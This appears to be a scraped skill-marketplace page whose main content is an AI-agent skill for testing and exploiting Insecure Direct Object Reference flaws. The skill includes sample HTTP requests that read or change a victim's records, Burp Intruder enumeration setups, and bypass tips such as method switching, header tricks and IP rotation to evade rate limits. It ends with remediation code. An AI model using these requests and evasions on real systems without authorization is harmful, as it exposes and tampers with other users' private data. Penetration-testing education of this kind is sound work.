supabase
Handles the full Supabase workflow from schema changes to deployment, with built-in security guardrails that catch common traps like RLS...
idor-vulnerability-testing
This skill should be used when the user asks to "test for insecure direct object references," "find IDOR vulnerabilities," "exploit broken access control," "enumerate user IDs or object references," or "bypass authorization to access other users' data." It provides comprehensive guidance for dete...
Full skill instructions
Provide systematic methodologies for identifying and exploiting Insecure Direct Object Reference (IDOR) vulnerabilities in web applications. This skill covers both database object references and static file references, detection techniques using parameter manipulation and enumeration, exploitation via Burp Suite, and remediation strategies for securing applications against unauthorized access.
Occurs when applications reference database records via user-controllable parameters:
# Original URL (authenticated as User A)
example.com/user/profile?id=2023
# Manipulation attempt (accessing User B's data)
example.com/user/profile?id=2022
Occurs when applications expose file paths or names that can be enumerated:
# Original URL (User A's receipt)
example.com/static/receipt/205.pdf
# Manipulation attempt (User B's receipt)
example.com/static/receipt/200.pdf
Account 1: "attacker" - Primary testing account
Account 2: "victim" - Account whose data we attempt to access
Capture and analyze requests containing:
/api/user/123?id=123&action=view{"userId": 123}/download/receipt_123.pdf/profile/a1b2c3d4-e5f6-...# Access user ID endpoint (if available)
GET /api/user-id/
# Note ID patterns:
# - Sequential integers (1, 2, 3...)
# - Auto-incremented values
# - Predictable patterns
# Step 1: Capture original authenticated request
GET /api/user/profile?id=1001 HTTP/1.1
Cookie: session=attacker_session
# Step 2: Modify ID to target another user
GET /api/user/profile?id=1000 HTTP/1.1
Cookie: session=attacker_session
# Vulnerable if: Returns victim's data with attacker's session
# Original POST request
POST /api/address/update HTTP/1.1
Content-Type: application/json
Cookie: session=attacker_session
{"id": 5, "userId": 1001, "address": "123 Attacker St"}
# Modified request targeting victim
{"id": 5, "userId": 1000, "address": "123 Attacker St"}
# Original GET request may be protected
GET /api/admin/users/1000 → 403 Forbidden
# Try alternative methods
POST /api/admin/users/1000 → 200 OK (Vulnerable!)
PUT /api/admin/users/1000 → 200 OK (Vulnerable!)
1. Configure browser proxy through Burp Suite
2. Login as "attacker" user
3. Navigate to profile/data page
4. Enable Intercept in Proxy tab
5. Capture request with user ID
6. Modify ID to victim's ID
7. Forward request
8. Observe response for victim's data
1. Send request to Intruder (Ctrl+I)
2. Clear all payload positions
3. Select ID parameter as payload position
4. Configure attack type: Sniper
5. Payload settings:
- Type: Numbers
- Range: 1 to 10000
- Step: 1
6. Start attack
7. Analyze responses for 200 status codes
# When same ID appears in multiple locations
PUT /api/addresses/§5§/update HTTP/1.1
{"id": §5§, "userId": 3}
Attack Type: Battering Ram
Payload: Numbers 1-1000
/api/user/{id}
/api/profile/{id}
/api/order/{id}
/api/invoice/{id}
/api/document/{id}
/api/message/{id}
/api/address/{id}/update
/api/address/{id}/delete
/download/invoice_{id}.pdf
/static/receipts/{id}.pdf
/uploads/documents/{filename}
/files/reports/report_{date}_{id}.xlsx
?userId=123
?orderId=456
?documentId=789
?file=report_123.pdf
[email protected]
| Test | Method | Indicator of Vulnerability |
|---|---|---|
| Increment/Decrement ID | Change id=5 to id=4 | Returns different user's data |
| Use Victim's ID | Replace with known victim ID | Access granted to victim's resources |
| Enumerate Range | Test IDs 1-1000 | Find valid records of other users |
| Negative Values | Test id=-1 or id=0 | Unexpected data or errors |
| Large Values | Test id=99999999 | System information disclosure |
| String IDs | Change format id=user_123 | Logic bypass |
| GUID Manipulation | Modify UUID portions | Predictable UUID patterns |
| Status Code | Interpretation |
|---|---|
| 200 OK | Potential IDOR - verify data ownership |
| 403 Forbidden | Access control working |
| 404 Not Found | Resource doesn't exist |
| 401 Unauthorized | Authentication required |
| 500 Error | Potential input validation issue |
| Parameter Type | Examples |
|---|---|
| User identifiers | userId, uid, user_id, account |
| Resource identifiers | id, pid, docId, fileId |
| Order/Transaction | orderId, transactionId, invoiceId |
| Message/Communication | messageId, threadId, chatId |
| File references | filename, file, document, path |
# Login as attacker (userId=1001)
# Navigate to profile page
# Original request
GET /api/profile?id=1001 HTTP/1.1
Cookie: session=abc123
# Response: Attacker's profile data
# Modified request (targeting victim userId=1000)
GET /api/profile?id=1000 HTTP/1.1
Cookie: session=abc123
# Vulnerable Response: Victim's profile data returned!
# Intercept address update request
PUT /api/addresses/5/update HTTP/1.1
Content-Type: application/json
Cookie: session=attacker_session
{
"id": 5,
"userId": 1001,
"street": "123 Main St",
"city": "Test City"
}
# Modify userId to victim's ID
{
"id": 5,
"userId": 1000, # Changed from 1001
"street": "Hacked Address",
"city": "Exploit City"
}
# If 200 OK: Address created under victim's account
# Download own receipt
GET /api/download/5 HTTP/1.1
Cookie: session=attacker_session
# Response: PDF of attacker's receipt (order #5)
# Attempt to access other receipts
GET /api/download/3 HTTP/1.1
Cookie: session=attacker_session
# Vulnerable Response: PDF of victim's receipt (order #3)!
# Configure Intruder attack
Target: PUT /api/addresses/§1§/update
Payload Position: Address ID in URL and body
Attack Configuration:
- Type: Battering Ram
- Payload: Numbers 0-20, Step 1
Body Template:
{
"id": §1§,
"userId": 3
}
# Analyze results:
# - 200 responses indicate successful modification
# - Check victim's account for new addresses
# Step 1: Enumerate user roles
GET /api/user/1 → {"role": "user", "id": 1}
GET /api/user/2 → {"role": "user", "id": 2}
GET /api/user/3 → {"role": "admin", "id": 3}
# Step 2: Access admin functions with discovered ID
GET /api/admin/dashboard?userId=3 HTTP/1.1
Cookie: session=regular_user_session
# If accessible: Vertical privilege escalation achieved
Cause: Server-side access control is implemented Solution:
# Try alternative attack vectors:
1. HTTP method switching (GET → POST → PUT)
2. Add X-Original-URL or X-Rewrite-URL headers
3. Try parameter pollution: ?id=1001&id=1000
4. URL encoding variations: %31%30%30%30 for "1000"
5. Case variations for string IDs
Cause: Randomized identifiers reduce enumeration risk Solution:
# UUID discovery techniques:
1. Check response bodies for leaked UUIDs
2. Search JavaScript files for hardcoded UUIDs
3. Check API responses that list multiple objects
4. Look for UUID patterns in error messages
5. Try UUID v1 (time-based) prediction if applicable
Cause: Application validates session against requested resource Solution:
# Advanced bypass attempts:
1. Test for IDOR in unauthenticated endpoints
2. Check password reset/email verification flows
3. Look for IDOR in file upload/download
4. Test API versioning: /api/v1/ vs /api/v2/
5. Check mobile API endpoints (often less protected)
Cause: Application implements request throttling Solution:
# Bypass techniques:
1. Add delays between requests (Burp Intruder throttle)
2. Rotate IP addresses (proxy chains)
3. Target specific high-value IDs instead of full range
4. Use different endpoints for same resources
5. Test during off-peak hours
Cause: Response doesn't clearly indicate data ownership Solution:
# Verification methods:
1. Create unique identifiable data in victim account
2. Look for PII markers (name, email) in responses
3. Compare response lengths between users
4. Check for timing differences in responses
5. Use secondary indicators (creation dates, metadata)
# Django example - validate ownership
def update_address(request, address_id):
address = Address.objects.get(id=address_id)
# Verify ownership before allowing update
if address.user != request.user:
return HttpResponseForbidden("Unauthorized")
# Proceed with update
address.update(request.data)
# Instead of: /api/address/123
# Use: /api/address/current-user/billing
def get_address(request):
# Always filter by authenticated user
address = Address.objects.filter(user=request.user).first()
return address
# Always validate on server, never trust client input
def download_receipt(request, receipt_id):
receipt = Receipt.objects.filter(
id=receipt_id,
user=request.user # Critical: filter by current user
).first()
if not receipt:
return HttpResponseNotFound()
return FileResponse(receipt.file)
Handles the full Supabase workflow from schema changes to deployment, with built-in security guardrails that catch common traps like RLS...
Comprehensive guides and best practices for Neon Serverless Postgres, covering setup, connection methods, authentication, and platform APIs.
Guide for setting up and using Firebase Authentication. Use this skill when the user's app requires user sign-in, user management, or secure data access using auth rules.
A skill to evaluate how secure Firestore security rules are. Use this when Firestore security rules are updated to ensure that the generated rules are extremely secure and robust.
Official skill for integrating Firebase AI Logic (Gemini API) into web applications. Covers setup, multimodal inference, structured output, and security.
Complete Better Auth server and client setup with database adapters, session management, plugins, and security configuration.
Deploy and manage projects on Vercel using token-based authentication. Use when working with Vercel CLI using access tokens rather than interactive login — e.g. "deploy to vercel", "set up vercel", "add environment variables to vercel".
Complete Cloudflare platform integration with decision trees for compute, storage, AI, networking, security, and infrastructure-as-code.
Run Azure compliance and security audits with azqr plus Key Vault expiration checks. Covers best-practice assessment, resource review, policy/compliance validation, and security posture checks. WHEN: compliance scan, security audit, BEFORE running azqr (compliance cli tool), Azure best practices, Key Vault expiration check, expired certificates, expiring secrets, orphaned resources, compliance assessment.
Send, read, and manage Gmail messages, drafts, labels, and account settings.
Comprehensive website auditing across 230+ rules in 21 categories including SEO, performance, security, and accessibility.
Shared authentication, CLI syntax, and output formatting patterns for gws Google Workspace commands.
Discover your celebrity doppelgänger with StarByFace!
GeoSpy: Pricing, Features, FAQs, and Alternatives for AI Teams
Detect AI-generated voices to protect against audio fraud.
Ensure Your Content's Originality with AI Plagiarism Checker
Upscale images by 400% without quality loss
Protect your social media from copyright disputes
Accurately Detect AI-Generated Content with TheChecker.AI
Chrome extension that detects and flags AI-generated content